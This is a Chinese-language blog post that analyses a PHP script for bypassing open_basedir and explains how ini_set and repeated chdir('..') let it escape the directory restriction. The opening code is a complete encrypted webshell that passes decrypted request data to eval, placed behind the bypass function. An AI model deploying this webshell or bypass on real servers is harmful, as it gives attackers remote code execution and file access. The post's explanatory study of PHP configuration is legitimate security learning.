从open_basedir认识ini_set

前言

从t00ls看到一个可绕过open_basedir的php脚本,由于对之了解不是很深,遂有踩坑过程。脚本如下


@error_reporting(0);
session_start();

function bypass_open_basedir(){
        if(!file_exists('bypass_open_basedir')){
                mkdir('bypass_open_basedir');
        }
        chdir('bypass_open_basedir');
        @ini_set('open_basedir','..');
        @$_Ei34Ww_sQDfq_FILENAME = dirname($_SERVER['SCRIPT_FILENAME']);
        @$_Ei34Ww_sQDfq_path = str_replace("\\",'/',$_Ei34Ww_sQDfq_FILENAME);
        @$_Ei34Ww_sQDfq_num = substr_count($_Ei34Ww_sQDfq_path,'/') + 1;
        $_Ei34Ww_sQDfq_i = 0;
        while($_Ei34Ww_sQDfq_i < $_Ei34Ww_sQDfq_num){
                @chdir('..');
                $_Ei34Ww_sQDfq_i++;
        }
        @ini_set('open_basedir','/');
        @rmdir($_Ei34Ww_sQDfq_FILENAME.'/'.'bypass_open_basedir');
}
bypass_open_basedir();
// =========== 以下可以是冰蝎马,也可以是一句话。
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
                
                for($i=0;$i<strlen($post);$i++) {
                             $post[$i] = $post[$i]^$key[$i+1&15]; 
                            }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    @eval($params);
}
?>

问题

ini_set

  1. 函数主体ini_set引起我的注意,可以看到在最后函数使用ini_set来设置open_basedir。这之前的代码并没有特别的操作只是在跳目录,那么这些代码是否能够省略,从而直接通过ini_set设置open_basedir呢?我进行了尝试发现不可以。问题后面会提。我又想到既然ini_set可以设置php.ini内的设置项,那么可不可以直接通过脚本来设置disable_functions为空从而绕过disable_functions的限制呢?我又进行了尝试发现还是不可以,不过在我意料之中。我只能查看官方文档,发现了一些东西:

    从open_basedir认识ini_set_第1张图片

    果然,不是所有的配置选项都可以通过ini_set在脚本中设置。在附录中指定了各个配置能够以怎样的方式进行修改。

    disable_functionsopen_basedir可修改的范围分别为php.ini onlyPHP_INI_ALLdisable_functions可被修改的范围只能是php.ini(之前的不能通过ini_set绕过disable_functions的困惑解决)。PHP_INI_ALL代表的含义如下

    从open_basedir认识ini_set_第2张图片

    如图,可在任意位置被修改。那么我之前为啥不能修改呢?

    从open_basedir认识ini_set_第3张图片

    从官方说明可以看到在脚本内定义的open_basedir只能收紧在php.ini的配置。而不能拓宽配置。因此我们想要直接设置open_basedir/也就无从谈起。

open_basedir和chdir

  1. 回到一开始为什么脚本里经过一些操作就可以直接@ini_set('open_basedir','/');了呢,这就和之前我们的分析相违背了。其实我发现注释掉最后的@ini_set('open_basedir','/');并不影响我们能够bypass限制。为啥呢?先知有一篇相关源码分析的文章。这里我直接说一下通俗易懂的理解。我们刚才分析说

    从官方说明可以看到在脚本内定义的open_basedir只能收紧在php.ini的配置。而不能拓宽配置。

    也可以理解为只能限制在本文件夹下,而我们ls -a可以看到..也存在于本文件夹下。

    从open_basedir认识ini_set_第4张图片

    就可以通过ini_set设置open_basedir..。也因此我们可以通过chdir进入这个目录(上一级目录)如此循环直至/。其实不必获取路径再计算要跳目录的次数,直接跳就完了,和文件包含有点像,跳足够多就一定回到根目录。此时我们想要读取某一文件。php得到open_basedir..(跳目录次数足够多即为根目录),可直接读取到。

  2. 我们可以做一个特殊的实验。我当前路径为/var/www/htmlopen_basedir设置为/var/www/html。bypass函数如下

    function bypass_open_basedir(){
    if(!file_exists('bypass_open_basedir')){
                    mkdir('bypass_open_basedir');
            }
            chdir('bypass_open_basedir');
            @ini_set('open_basedir','..');
            //echo @ini_get("open_basedir");
            @$_Ei34Ww_sQDfq_FILENAME = dirname($_SERVER['SCRIPT_FILENAME']);
            // echo $_Ei34Ww_sQDfq_FILENAME;
            @$_Ei34Ww_sQDfq_path = str_replace("\\",'/',$_Ei34Ww_sQDfq_FILENAME);
            @$_Ei34Ww_sQDfq_num = substr_count($_Ei34Ww_sQDfq_path,'/')-1;
            //echo $_Ei34Ww_sQDfq_num;
            $_Ei34Ww_sQDfq_i = 0;
            while($_Ei34Ww_sQDfq_i < $_Ei34Ww_sQDfq_num){
                    @chdir('..');
                    $_Ei34Ww_sQDfq_i++;
            }
    //@ini_set('open_basedir','/');
    @rmdir($_Ei34Ww_sQDfq_FILENAME.'/'.'bypass_open_basedir');
    }
    

    只跳两次目录,当前的目录为www,open_basedir..var。此时我们应该无法查看其他目录。

    从open_basedir认识ini_set_第5张图片

拓展

其他的bypass open_basedir的方法

浅谈几种Bypass open_basedir的方法

你可能感兴趣的:(安全)